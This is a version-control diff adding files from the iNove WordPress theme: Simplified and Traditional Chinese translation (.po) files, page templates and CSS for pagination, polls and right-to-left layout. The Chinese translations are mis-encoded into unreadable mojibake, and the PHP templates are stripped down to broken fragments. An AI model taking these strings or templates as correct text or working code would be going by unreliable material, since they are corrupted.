archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 æ¡è¯„论" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% æ¡è¯„论" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "评论已被关闭" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "阅读全文..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "分类: " + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "标签: " + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "对ä¸èµ·, ä¸å­˜åœ¨ç›¸åº”的文章." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "上一页" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "下一页" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "å‘表评论" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "阅读评论" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "请输入密ç å†æŸ¥çœ‹è¯„论内容." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "评论" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "" + +#: comments.php:34 +msgid "Trackback" +msgstr "" + +#: comments.php:58 +msgid "No comments yet." +msgstr "本文目å‰å°šæ— ä»»ä½•评论." + +#: comments.php:72 +msgid "Comment pages" +msgstr "评论分页" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s%2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "本文目å‰å°šæ— ä»»ä½• trackbacks å’Œ pingbacks." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "本文的评论功能被关闭了." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "您必须在 登录 åŽæ‰èƒ½å‘布评论." + +#: comments.php:150 +msgid "Logged in as" +msgstr "登录å¸å·:" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "退出登录" + +#: comments.php:151 +msgid "Logout »" +msgstr "登出 »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "欢迎回æ¥, %s" + +#: comments.php:158 +msgid "Change »" +msgstr "更改 »" + +#: comments.php:159 +msgid "Close »" +msgstr "éšè— »" + +#: comments.php:166 +msgid "Name" +msgstr "昵称" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(å¿…å¡«)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "电å­é‚®ç®± (我们会为您ä¿å¯†)" + +#: comments.php:174 +msgid "Website" +msgstr "网å€" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "订阅评论" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "æäº¤è¯„论" + +#: footer.php:17 +msgid "Top" +msgstr "回到顶部" + +#: footer.php:27 +msgid "Copyright © " +msgstr "ç‰ˆæƒæ‰€æœ‰ © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "主题由 NeoEase æä¾›, 通过 XHTML 1.1 å’Œ CSS 3 验è¯." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "当å‰ä¸»é¢˜é€‰é¡¹" + +#: functions.php:194 +msgid "Search" +msgstr "æœç´¢" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "使用 Google 自定义æœç´¢å¼•擎" + +#: functions.php:201 +msgid "CX:" +msgstr "" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "在 Google 自定义æœç´¢å¼•擎的æœç´¢æ¡†ä»£ç ä¸­æ‰¾åˆ° name=\"cx\" , å¹¶å°†åŒè¡Œä¸­ value 的值填写在上方的输入框内.
    例如: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "èœå•æ " + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "将页é¢åˆ—表作为èœå•" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "将分类列表作为èœå•" + +#: functions.php:231 +msgid "Sidebar" +msgstr "ä¾§è¾¹æ " + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "在所有页é¢éƒ½ä¸æ˜¾ç¤ºä¾§è¾¹æ ." + +#: functions.php:246 +msgid "Notice" +msgstr "公告æ " + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML å¯ç”¨" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "公告æ å°†æ˜¾ç¤ºåœ¨åšå®¢é¦–页的文章区域上方." + +#: functions.php:270 +msgid "Banner" +msgstr "横幅" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "这个横幅将会显示在åšå®¢é¡¶éƒ¨çš„å³ä¾§. (高度: 60åƒç´ )" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "è°å¯ä»¥çœ‹åˆ°?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "注册用户" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "评论者" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "游客" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "橱窗" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "这个橱窗将会显示在侧边æ é¡¶éƒ¨." + +#: functions.php:329 +msgid "Title:" +msgstr "标题:" + +#: functions.php:345 +msgid "Posts" +msgstr "文章" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "显示文章作者" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "显示文章分类" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "显示文章标签" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "å¯é€šè¿‡å¿«æ·é”® \"Ctrl+Enter\" æäº¤è¯„论." + +#: functions.php:381 +msgid "Feed" +msgstr "订阅" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "当鼠标在订阅按钮上方, 显示推è订阅器列表." + +#: functions.php:390 +msgid "Custom feed." +msgstr "自定义 Feed" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "" + +#: functions.php:396 +msgid "Email feed." +msgstr "邮件 Feed" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "添加 Twitter 按钮." + +#: functions.php:414 +msgid "Twitter username:" +msgstr "Twitter 用户å:" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "网站分æž" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "将分æžä»£ç æ·»åŠ åˆ°ç½‘ç«™ä¸­. (请在此填入 Google Analytics, Yahoo! Web Analytics 等网站分æžå·¥å…·æä¾›çš„代ç )" + +#: functions.php:446 +msgid "Save Changes" +msgstr "ä¿å­˜æ›´æ”¹" + +#: functions.php:567 +msgid "Reply" +msgstr "回å¤" + +#: functions.php:568 +msgid "Quote" +msgstr "引用" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "高级编辑" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "您的评论需è¦ç»è¿‡ç®¡ç†å‘˜å®¡æ ¸é€šè¿‡åŽæ‰ä¼šç”Ÿæ•ˆ." + +#: links.php:18 +msgid "Add link" +msgstr "添加链接" + +#: links.php:19 +msgid "Edit links" +msgstr "编辑链接" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "订阅这个åšå®¢çš„æ–‡ç« " + +#: sidebar.php:25 +msgid "RSS" +msgstr "订阅" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "订阅到" + +#: sidebar.php:28 +msgid "Google" +msgstr " Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "有é“" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "鲜果" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "抓虾" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr " My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr " newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr " Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "哪å’" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "通过电å­é‚®ä»¶è®¢é˜…这个åšå®¢çš„æ–‡ç« " + +#: sidebar.php:40 +msgid "Email feed" +msgstr "邮件订阅" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "转到首页" + +#: single.php:7 +msgid "Home" +msgstr "首页" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "请输入关键字..." + +#~ msgid "Blogroll" +#~ msgstr "勿ƒ…链接" +#~ msgid "Author: " +#~ msgstr "作者: " + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/zh_TW.mo Binary file web/wp-content/themes/inove/languages/zh_TW.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/zh_TW.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/zh_TW.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,573 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:15+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: Taiwan\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__;__ngettext:1,2;_c\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - 所有文章" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - 所有評論" + +#: 404.php:22 +msgid "Talker" +msgstr "評論者" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "歡迎來到 WordPress 404 錯誤é é¢" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "歡迎來到 WordPress 的錯誤é é¢ , 您會進入這個é é¢è¡¨ç¤ºæ‚¨å‰›æ‰é»žé¸äº†ä¸€å€‹å¤±æ•ˆçš„連çµã€‚ç•¶ç„¶ , 這也有å¯èƒ½æ˜¯æˆ‘們æžéŒ¯äº†........。但是 , ä¸ç®¡å¦‚何......." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "您ç¾åœ¨å¯ä»¥é¸æ“‡:(a) 點é¸ç€è¦½å™¨ä¸Šæ–¹çš„ ä¸Šä¸€é  æŒ‰éˆ• , 如此您å¯ä»¥å›žåˆ°ä¸Š(å‰)一個é é¢ , 或者 (b) 您å¯ä»¥é»žé¸ä¸‹æ–¹çš„連çµå›žåˆ°æœ¬éƒ¨è½æ ¼çš„首é ã€‚" + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "å›žåˆ°éƒ¨è½æ ¼é¦–é  »" + +#: archive.php:10 +msgid "Search Results" +msgstr "æœå°‹çµæžœ" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "é—œéµå­—: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ 分類éŽçš„Archive" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "文章標籤 ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s çš„Archive" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "Yå¹´n月jæ—¥" + +#: archive.php:28 +msgid "F, Y" +msgstr "Yå¹´n月" + +#: archive.php:31 +msgid "Y" +msgstr "Yå¹´" + +#: archive.php:34 +msgid "Author Archive" +msgstr "作者Archive" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "éƒ¨è½æ ¼Archive" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "編輯" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "å°šç„¡è©•è«–" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 則評論" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% 則評論" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "評論已關閉" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "閱讀全文..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "很抱歉,此篇文章ä¸å­˜åœ¨..." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "較新的文章" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "較舊的文章" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "發表評論" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "閱讀評論" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "請輸入您的密碼å†é–±è®€è©•論的內容。" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "è©•è«–" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "" + +#: comments.php:34 +msgid "Trackback" +msgstr "" + +#: comments.php:58 +msgid "No comments yet." +msgstr "ç›®å‰å°šç„¡ä»»ä½•的評論。" + +#: comments.php:72 +msgid "Comment pages" +msgstr "評論分é " + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s%2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "ç›®å‰å°šç„¡ä»»ä½• trackbacks å’Œ pingbacks。" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "ç›®å‰å°šæœªé–‹æ”¾è©•論的功能。" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "您必須 登入 後æ‰èƒ½ç™¼è¡¨è©•論。" + +#: comments.php:150 +msgid "Logged in as" +msgstr "登入帳號:" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "登出帳號" + +#: comments.php:151 +msgid "Logout »" +msgstr "登出 »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "歡迎回來 , %s" + +#: comments.php:158 +msgid "Change »" +msgstr "修改 »" + +#: comments.php:159 +msgid "Close »" +msgstr "éš±è— »" + +#: comments.php:166 +msgid "Name" +msgstr "暱稱" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(å¿…å¡«)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-mail" + +#: comments.php:174 +msgid "Website" +msgstr "ç¶²å€" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "訂閱評論" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "發表評論" + +#: footer.php:17 +msgid "Top" +msgstr "Top" + +#: footer.php:27 +msgid "Copyright © " +msgstr "版權所有 © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "主題由 NeoEase æä¾›ï¼Œé€šéŽ XHTML 1.1 å’Œ CSS 3 èªè­‰ã€‚" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "iNove主題設定" + +#: functions.php:194 +msgid "Search" +msgstr "æœå°‹" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "使用 Google 自訂æœå°‹å¼•擎" + +#: functions.php:201 +msgid "CX:" +msgstr "" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "首先在 Google自訂æœå°‹å¼•擎 建立您專屬的æœå°‹å¼•擎 , 並在控制å°çš„程å¼ç¢¼è£¡çš„ æœå°‹æ¡†ç¨‹å¼ç¢¼ 中找到 name=\"cx\" , 並將此程å¼ç¢¼ value 的數值éµå…¥åˆ°ä¸Šæ–¹çš„輸入框內。
    例如:014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "é¸å–®" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "將分é åˆ—表作æˆé¸å–®" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "將分類列表作æˆé¸å–®" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "在首é åŠæ‰€æœ‰çš„分é ä¸é¡¯ç¤º sidebar。" + +#: functions.php:246 +msgid "Notice" +msgstr "公佈欄" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML å¯ç”¨" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "æ­¤å…¬ä½ˆæ¬„æœƒé¡¯ç¤ºåœ¨éƒ¨è½æ ¼é¦–é æ–‡ç« å€åŸŸçš„æœ€ä¸Šæ–¹ã€‚" + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "這個 Banner æœƒé¡¯ç¤ºåœ¨éƒ¨è½æ ¼é ‚部的å³å´ã€‚" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "誰å¯ä»¥çœ‹åˆ°ï¼Ÿ" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "註冊用戶" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "評論者" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "訪客" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Showcase" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "這個 Showcase 會顯示在 Sidebar 的最上方。" + +#: functions.php:329 +msgid "Title:" +msgstr "標題:" + +#: functions.php:345 +msgid "Posts" +msgstr "文章" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "在文章中顯示作者å稱" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "在文章中顯示分類å稱" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "在文章中顯示標籤å稱" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "å¯ä½¿ç”¨å¿«é€Ÿéµ \"Ctrl+Enter\" é€å‡ºè©•論。" + +#: functions.php:381 +msgid "Feed" +msgstr "訂閱" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "當游標移動到訂閱按鈕上方,顯示訂閱器列表。" + +#: functions.php:390 +msgid "Custom feed." +msgstr "自訂訂閱" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "" + +#: functions.php:396 +msgid "Email feed." +msgstr "郵件訂閱" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "儲存設定" + +#: functions.php:567 +msgid "Reply" +msgstr "回覆" + +#: functions.php:568 +msgid "Quote" +msgstr "引用" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "進階編輯" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "您的評論需è¦ç¶“éŽéƒ¨è½æ ¼çš„管ç†äººå“¡å¯©æ ¸é€šéŽå¾Œæ‰æœƒç”Ÿæ•ˆã€‚" + +#: links.php:18 +msgid "Add link" +msgstr "新增連çµ" + +#: links.php:19 +msgid "Edit links" +msgstr "編輯連çµ" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "è¨‚é–±éƒ¨è½æ ¼çš„æ–‡ç« " + +#: sidebar.php:25 +msgid "RSS" +msgstr "訂閱" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "訂閱到" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "有é“" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "鮮果" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "抓è¦" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahooï¼" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "哪å’" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "é€éŽé›»å­éƒµä»¶è¨‚é–±éƒ¨è½æ ¼çš„æ–‡ç« " + +#: sidebar.php:40 +msgid "Email feed" +msgstr "郵件訂閱" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "回到首é " + +#: single.php:7 +msgid "Home" +msgstr "首é " + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "請輸入關éµå­—..." + +#~ msgid "Author: " +#~ msgstr "作者:" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/links.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/links.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,63 @@ + + +get_results("SELECT T1.name AS name FROM $wpdb->terms T1, $wpdb->term_taxonomy T2 WHERE T1.term_id = T2.term_id AND T2.taxonomy = 'link_category'"); +?> + + + +
    +

    + +
    + + +
    + + +

    +
    + + ', ''); ?> + + + + +
    +
    +
    + + +

    name; ?>

    +
    + +
    +
    + +
    +
    +
    + + + + +
    + +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/page-without-sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/page-without-sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,30 @@ + + + + +
    +

    +
    + + ', ''); ?> + + + + +
    +
    +
    + +
    +
    +
    + + + + +
    + +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/pagenavi-css.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/pagenavi-css.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,29 @@ +.wp-pagenavi a { + padding:5px 7px; + text-decoration:none; + border:1px solid #FFF; +} +.wp-pagenavi a:hover { + background:#F7F7F7; + border:1px solid #CCC; + text-decoration:none; +} +.wp-pagenavi span.pages { + padding:1px 7px 1px 22px !important; + padding:2px 7px 2px 22px; + background:url(img/icons.gif) 0 -272px no-repeat; + height:16px; + line-height:16px; +} +*+html .wp-pagenavi span.pages { + padding:2px 7px 2px 22px !important; +} +.wp-pagenavi span.current { + background:#F7F7F7; + padding:5px 7px; + border:1px solid #F7F7F7; + font-weight:bold; +} +.wp-pagenavi span.extend { + padding:2px 4px; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/polls-css.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/polls-css.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,128 @@ +.wp-polls ul li, wp-polls-ul li, .wp-polls-ans ul li { + text-align: left; + background-image: none; + display: block; +} +.wp-polls ul, .wp-polls-ul, .wp-polls-ans ul { + text-align: left; + list-style: none; +} +.wp-polls ul li:before, wp-polls-ul li, .wp-polls-ans ul li:before, #sidebar ul ul li:before { + content: ''; +} +.wp-polls IMG, .wp-polls LABEL , .wp-polls INPUT, .wp-polls-loading IMG, .wp-polls-image IMG { + display: inline; + border: 0px; + padding: 0px; + margin: 0px; +} +.wp-polls-ul { + padding: 0px; + margin: 0px 0px 10px 10px; +} +.wp-polls-ans { + width:100%; + opacity: 1; +} +.wp-polls-loading { + display: none; + text-align: center; + height: 16px; + line-height: 16px; +} +.wp-polls-image { + border: 0px; +} +.wp-polls .Buttons { + border:1px solid #c8c8c8; + background-color: #f3f6f8; +} +/* Polls Archive Paging */ +.wp-polls-paging a, .wp-polls-paging a:link { + padding: 2px 4px 2px 4px; + margin: 2px; + text-decoration: none; + border: 1px solid #0066cc; + color: #0066cc; + background-color: #FFFFFF; +} +.wp-polls-paging a:visited { + padding: 2px 4px 2px 4px; + margin: 2px; + text-decoration: none; + border: 1px solid #0066cc; + color: #0066cc; + background-color: #FFFFFF; +} +.wp-polls-paging a:hover { + border: 1px solid #000000; + color: #000000; + background-color: #FFFFFF; +} +.wp-polls-paging a:active { + padding: 2px 4px 2px 4px; + margin: 2px; + text-decoration: none; + border: 1px solid #0066cc; + color: #0066cc; + background-color: #FFFFFF; +} +.wp-polls-paging span.pages { + padding: 2px 4px 2px 4px; + margin: 2px 2px 2px 2px; + color: #000000; + border: 1px solid #000000; + background-color: #FFFFFF; +} +.wp-polls-paging span.current { + padding: 2px 4px 2px 4px; + margin: 2px; + font-weight: bold; + border: 1px solid #000000; + color: #000000; + background-color: #FFFFFF; +} +.wp-polls-paging span.extend { + padding: 2px 4px 2px 4px; + margin: 2px; + border: 1px solid #000000; + color: #000000; + background-color: #FFFFFF; +} +/* Styles Used In WP-Admin */ +#wp-polls-pollbar-bg { + width: 25px; + height: 25px; + border: 1px solid #000000; +} +#wp-polls-pollbar-border { + width: 25px; + height: 25px; + border: 1px solid #000000; +} + +/* polls START */ +.wp-polls { + background:#E3E4E6 url(img/postbox.gif) 0 0 no-repeat; + padding:6px 12px 0; + margin-bottom:10px; +} +.post .content .wp-polls p, +.post .content .wp-polls ul { + margin:0; +} +.post .content .wp-polls li { + border-bottom:1px solid #E3E4E6; + line-height:18px; + list-style-image:none; + list-style-position:outside; + list-style-type:none; + padding:5px; +} +.wp-polls .wp-polls-ans { + background:#F4F5F7 url(img/postbox.gif) 100% 100% no-repeat; + border-top:1px solid #CCC; + padding:8px 12px; + margin:6px -12px 0; +} +/* polls START */ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,315 @@ +body { + text-align:right; + direction:rtl; +} +blockquote, pre { + background:#F4F5F7 url(imgrtl/blockquote.gif) 100% 3px no-repeat; + padding:8px 36px 8px 12px; +} + +/* header START */ +#tagline { + float:right; +} +#header .banner { + float:left; +} +#menus li a { + background:transparent url(imgrtl/menu.gif) 100% 0 no-repeat; + float:right; + margin-right:-10px; + padding:0 20px 0 30px; +} +#menus li a:hover, +#menus li a.current { + background-position:100% -31px; +} +#menus li.current_page_item a, +#menus li.current-cat a { + background-position:100% -62px; +} 